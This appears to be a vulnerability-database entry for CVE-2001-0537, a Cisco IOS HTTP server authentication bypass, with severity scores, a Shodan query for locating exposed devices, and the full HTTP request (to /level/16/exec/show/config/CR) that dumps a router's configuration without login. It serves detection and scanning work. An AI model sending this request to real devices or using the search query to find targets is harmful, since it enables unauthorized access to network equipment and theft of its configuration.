🔙 목록으로 돌아가기

CVE-2001-0537: Cisco IOS HTTP Configuration - Authentication Bypass

TitleCisco IOS HTTP Configuration - Authentication Bypass
AuthorDhiyaneshDK
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the affected device.
RemediationApply the appropriate patch or upgrade to a fixed version of the Cisco IOS software.
CVSS Score9.3
EPSS Score0.93696
CVE IDCVE-2001-0537
CWE IDCWE-287
Shodan Queryproduct:"Cisco IOS http config" && 200product:"cisco ios http config"cpe:"cpe:2.3:o:cisco:ios"
Tags cve cve2001 cisco ios auth-bypass vkev vuln

🔍 Vulnerability Description

HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.

🌐 HTTP Request

GET /level/16/exec/show/config/CR HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2001/CVE-2001-0537.yaml

🦈 Packet Capture: ⬇️ Download cve-2001-0537.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A